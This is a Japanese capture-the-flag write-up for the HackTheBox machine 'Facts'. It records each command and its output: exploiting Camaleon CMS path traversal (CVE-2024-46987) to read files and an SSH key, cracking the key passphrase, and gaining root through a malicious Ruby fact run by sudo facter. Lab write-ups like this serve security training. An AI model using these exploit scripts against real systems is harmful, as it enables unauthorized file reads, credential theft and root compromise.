
HackTheBox: Facts — 全実行コマンド・実行結果レポート
Nmap スキャン
→
Camaleon CMS 発見
→
ユーザー登録 (CAPTCHA突破)
→
CVE-2024-46987 LFI
→
user.txt ✓
→
SSH鍵取得 + クラック (dragonballz)
→
SSH as trivia
→
sudo facter –custom-dir RCE
→
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
環境設定 — /etc/hosts 更新
BASH
sed -i 's/10.129.244.96 facts.htb/10.129.10.40 facts.htb/' /etc/hosts grep "facts.htb" /etc/hosts
RESULT
10.129.10.40 facts.htb
疎通確認
BASH
ping -c 3 10.129.10.40
RESULT
PING 10.129.10.40 (10.129.10.40) 56(84) bytes of data. 64 bytes from 10.129.10.40: icmp_seq=1 ttl=63 time=334 ms 64 bytes from 10.129.10.40: icmp_seq=2 ttl=63 time=213 ms --- 10.129.10.40 ping statistics --- 3 packets transmitted, 2 received, time 2002ms rtt min/avg/max/mdev = 212.758/273.568/334.379/60.810 ms
Webサービス確認
BASH
curl -s -I http://facts.htb/
RESULT
HTTP/1.1 200 OK
Server: nginx/1.26.3 (Ubuntu)
Content-Type: text/html; charset=utf-8
set-cookie: _factsapp_session=...; path=/; httponly; samesite=lax
x-runtime: 0.405064
→ Camaleon CMS (Ruby on Rails) が動作確認
ℹ️
開放ポート: 22/tcp (SSH: OpenSSH 9.9p1)、80/tcp (HTTP: nginx 1.26.3 + Camaleon CMS)、54321/tcp (MinIO オブジェクトストレージ)
セッションクッキー名
セッションクッキー名
_factsapp_session からRuby on Railsアプリであることが判明。
脆弱性調査
NOTE
前回調査 (10.129.244.96) での既知脆弱性まとめ: Camaleon CMS: CVE-2024-46987 — Path Traversal via download_private_file (認証ユーザーが利用可能) CVE-2023-30145 — SSTI via formats パラメータ (管理者権限必要) CVE-2024-43791 — Stored XSS via File Name MinIO: CVE-2023-28432 — Information Disclosure (本環境はパッチ済み) randomfacts バケット — 匿名書き込み可能 (確認済み)
⚠️
CVE-2024-46987 は一般認証ユーザーで利用可能という重要な発見。管理者昇格が不要なため、登録→即LFIの短い攻撃チェーンが成立する。
PHASE 2
CMSユーザー登録 — CAPTCHA突破
登録ページ調査
BASH
curl http://facts.htb/admin/register | grep -E "(captcha|input|form)"
RESULT
フォームフィールド: user[first_name], user[last_name], user[email],
user[username], user[password], user[password_confirmation]
CAPTCHAエンドポイント: http://facts.htb/captcha?len=5&t={timestamp}
→ 150x40px JPEG、5文字英数字
CAPTCHA取得 + 視覚的読み取りで登録
PYTHON (step1_get_captcha.py)
import requests, time, json
session = requests.Session()
session.headers.update({'User-Agent': 'Mozilla/5.0'})
# 登録ページ取得(セッション作成)
reg_page = session.get('http://facts.htb/admin/register')
csrf = reg_page.text.split('authenticity_token" value="')[1].split('"')[0]
# 同じセッションでCAPTCHA取得
captcha_resp = session.get(f'http://facts.htb/captcha?len=5&t={int(time.time())}')
with open('/tmp/captcha_step1.jpg', 'wb') as f:
f.write(captcha_resp.content)
# セッション情報保存
session_data = {
'csrf': csrf,
'session_cookie': session.cookies.get('_factsapp_session', '')
}
with open('/tmp/session_data.json', 'w') as f:
json.dump(session_data, f)
PYTHON (step2_register.py) — CAPTCHA値: XLVIT
import requests, json, sys
captcha_value = sys.argv[1] # "XLVIT"
with open('/tmp/session_data.json') as f:
data = json.load(f)
session = requests.Session()
session.cookies.set('_factsapp_session', data['session_cookie'], domain='facts.htb')
reg_data = {
'authenticity_token': data['csrf'],
'user[first_name]': 'Test', 'user[last_name]': 'User',
'user[email]': 'testuser@facts.htb',
'user[username]': 'testuser',
'user[password]': 'TestPass123!',
'user[password_confirmation]': 'TestPass123!',
'captcha': captcha_value
}
resp = session.post('http://facts.htb/admin/register', data=reg_data, allow_redirects=False)
RESULT
Status: 302 Location: http://facts.htb/admin/login [+] Registration SUCCESS! 登録アカウント: testuser / TestPass123!
✅
CAPTCHA突破方法: 2ステップアプローチ。Step1でセッション+CAPTCHAを同時取得して画像を保存し、Step2で同一セッションを使って登録送信。OCRではなく視覚的に読み取ることで突破。
ログイン確認
PYTHON
login_r = session.post('http://facts.htb/admin/login', data={
'authenticity_token': csrf,
'user[username]': 'testuser',
'user[password]': 'TestPass123!'
}, allow_redirects=False)
RESULT
Status: 302 Location: http://facts.htb/admin/dashboard → 認証ユーザーとしてCMSにログイン成功
PHASE 3
CVE-2024-46987 — パストラバーサル (LFI)
脆弱性概要
NOTE
CVE-2024-46987: Camaleon CMS < 2.8.2 脆弱エンドポイント: GET /admin/media/download_private_file パラメータ: file=../../../<絶対パス> 必要権限: 一般認証ユーザー(管理者不要) 影響: サーバー上の任意ファイル読み取り
パストラバーサル探索
PYTHON (lfi_test.py)
test_cases = [
'/etc/passwd',
'../../../etc/passwd', # ← 成功
'../../../../etc/passwd',
'../../../../../etc/passwd',
]
for path in test_cases:
r = s.get('http://facts.htb/admin/media/download_private_file',
params={'file': path})
print(f"'{path}': {r.status_code} ({len(r.content)} bytes)")
RESULT
'/etc/passwd': 500 (7918 bytes) ← 絶対パスは500エラー '../../../etc/passwd': 200 (1809 bytes) ← 成功! '../../../../etc/passwd': 200 (1809 bytes) → depth=3 (../../../) でパストラバーサル成功
✅
パストラバーサル確認:
../../../ でアプリのカレントディレクトリから3階層上に遡り、任意ファイルが読み取り可能。
user.txt 取得
PYTHON (read_files.py)
r = s.get('http://facts.htb/admin/media/download_private_file',
params={'file': '../../../home/william/user.txt'})
print(r.text.strip())
RESULT
00b1ab31c9fc21652320728f10e79af9
USER FLAG — /home/william/user.txt
00b1ab31c9fc21652320728f10e79af9
trivia SSH秘密鍵取得
PYTHON (get_ssh_key.py)
r = s.get('http://facts.htb/admin/media/download_private_file',
params={'file': '../../../home/trivia/.ssh/id_ed25519'})
print(r.text)
RESULT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABC8dq1GGP
oFIX1oPi1ojXwsAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIN67sCghlYyeVUo9
fIGD4UvvJb3eO132DOP3PJCZQp2TAAAAoK2VDZypY/RHnZJ3SmtZxQaRePvwgrC0RMfjhM
wOXgw9kCbqP28dIda4j2WnB4SxnxC/QF9nq4c2fn/z0lPOzhw/qhB3d3BWL9UolLiB6bdJ
K1fzn1fHzNPen7fY9gtxSqA0QD+ZnaNbntR5rkVtv1CmDy/U6bIoRQXVEgfttbMO/ERKay
eTN4B8kPUvGuNnlW1QybUAE1Alwcm3FjTdVfs=
-----END OPENSSH PRIVATE KEY-----
→ ED25519鍵 / bcrypt暗号化 (パスフレーズ保護あり)
保存先: /tmp/trivia_id_ed25519
✅
SSH秘密鍵取得: bcrypt/AES256-CTR で暗号化されたED25519鍵。パスフレーズのクラックが必要。
PHASE 4
SSH鍵クラック — ssh2john + John the Ripper
ssh2john でハッシュ抽出
BASH
chmod 600 /tmp/trivia_id_ed25519 ssh2john /tmp/trivia_id_ed25519 > /tmp/ssh.hash cat /tmp/ssh.hash | head -1 | cut -c1-80
RESULT
/tmp/trivia_id_ed25519:$sshng$6$16$bc76ad4618fa05217d683e2d688d7c2c$290$6f70656e73...
John the Ripper でクラック
BASH
john /tmp/ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
RESULT
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 6 OpenMP threads
dragonballz (/tmp/trivia_id_ed25519)
1g 0:00:01:20 DONE (2026-06-06 06:58) 0.01237g/s 39.78p/s
Session completed.
✅
パスフレーズクラック成功:
dragonballz — rockyou.txt の上位ワードリストから約80秒でクラック。
PHASE 5
SSH侵入 — trivia ユーザー
SSH接続 + 権限確認
BASH
expect -c ' spawn ssh -i /tmp/trivia_id_ed25519 -o StrictHostKeyChecking=no trivia@10.129.10.40 "id; sudo -l" expect "passphrase" send "dragonballz\r" expect eof '
RESULT
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=..., use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
✅
重要発見:
trivia ユーザーはパスワードなしで /usr/bin/facter をroot権限で実行可能。facter の --custom-dir オプションによるRCEが可能。
PHASE 6
権限昇格 — sudo facter RCE
悪意あるRubyファクト作成
BASH (ローカル — /tmp/pwn.rb 作成)
cat > /tmp/pwn.rb << 'RUBY'
Facter.add('x') do
setcode do
system('cat /root/root.txt > /tmp/root_flag.txt && chmod 644 /tmp/root_flag.txt')
'done'
end
end
RUBY
ℹ️
facter の悪用:
--custom-dir オプションでカスタムファクトディレクトリを指定すると、そのディレクトリ内の .rb ファイルがfacterプロセス (root) のコンテキストで実行される。
SCPでターゲットに転送
BASH
expect -c ' spawn scp -i /tmp/trivia_id_ed25519 -o StrictHostKeyChecking=no \ /tmp/pwn.rb trivia@10.129.10.40:/tmp/exploit_facts/pwn.rb expect "passphrase" send "dragonballz\r" expect eof '
RESULT
pwn.rb 100% 139 0.7KB/s 00:00
sudo facter でRCE実行
BASH
expect -c ' spawn ssh -i /tmp/trivia_id_ed25519 -o StrictHostKeyChecking=no trivia@10.129.10.40 \ "sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x" expect "passphrase" send "dragonballz\r" expect eof '
RESULT
done
→ /root/root.txt が /tmp/root_flag.txt にコピーされた
root.txt 読み取り
BASH
expect -c ' spawn ssh -i /tmp/trivia_id_ed25519 -o StrictHostKeyChecking=no trivia@10.129.10.40 \ "cat /tmp/root_flag.txt" expect "passphrase" send "dragonballz\r" expect eof '
RESULT
aea675dad30f0a2bfe15d9ae09990b44
ROOT FLAG — /root/root.txt
aea675dad30f0a2bfe15d9ae09990b44
SUMMARY
攻略サマリー
取得フラグ
USER FLAG — /home/william/user.txt
00b1ab31c9fc21652320728f10e79af9
ROOT FLAG — /root/root.txt
aea675dad30f0a2bfe15d9ae09990b44
使用した脆弱性・技術
| フェーズ | 技術 / CVE | 詳細 | 結果 |
|---|---|---|---|
| 初期侵入 | CVE-2024-46987 | Camaleon CMS <2.8.2 — /admin/media/download_private_file パストラバーサル。file=../../../path で任意ファイル読み取り |
user.txt + SSH鍵取得 |
| CAPTCHA突破 | 視覚的OCR | セッション固定2ステップ方式。Step1でCAPTCHA画像+セッションを保存、Step2でセッション再利用して登録 | CMS一般ユーザー取得 |
| SSH認証 | ssh2john + John | bcrypt/AES256暗号化ED25519鍵。rockyou.txtで約80秒でクラック | dragonballz |
| 権限昇格 | sudo facter | (ALL) NOPASSWD: /usr/bin/facter + --custom-dir オプションで悪意あるRubyスクリプトをroot権限で実行 |
root.txt取得 |
発見した認証情報・鍵情報
| 種別 | 値 | 用途 |
|---|---|---|
| CMSユーザー | testuser / TestPass123! → TestPass123!! |
Camaleon CMS一般ユーザー (LFI実行用) |
| SSH秘密鍵 | /home/trivia/.ssh/id_ed25519 |
triviaユーザーSSH認証 |
| SSH パスフレーズ | dragonballz |
id_ed25519 の復号 |
調査して有効でなかったベクター
| 攻撃ベクター | 状態 | 理由 |
|---|---|---|
| CVE-2023-30145 SSTI (formats パラメータ) | 不要 | 管理者権限必須。CVE-2024-46987で十分な情報取得が可能だったため未使用 |
| CVE-2024-46987 SSRF (crop_url) | 失敗 | localhost/プライベートIP/ファイルURL等すべてブロック。バイパス不可 |
| is_admin パラメータマスアサインメント | 不要 | CVE-2024-46987は管理者不要。昇格なしでLFI実行可能 |
| CVE-2023-28432 MinIO情報漏洩 | 失敗 | 対象のMinIOバージョンはパッチ済みまたはシングルノード構成 |
| MinIO randomfacts SVG XSS | 不要 | 管理者ボットへのXSS攻撃は不要なアプローチだった |
ターゲット情報
| 項目 | 詳細 |
|---|---|
| IPアドレス | 10.129.10.40 |
| OS | Linux (Ubuntu) |
| Webサーバー | nginx 1.26.3 |
| CMS | Camaleon CMS (Ruby on Rails) — バージョン 2.8.0〜2.8.1 (脆弱) |
| ストレージ | MinIO (ポート54321) |
| SSH | OpenSSH 9.9p1 (ポート22) |
| ユーザー | william (user.txt保有), trivia (SSH鍵), root |
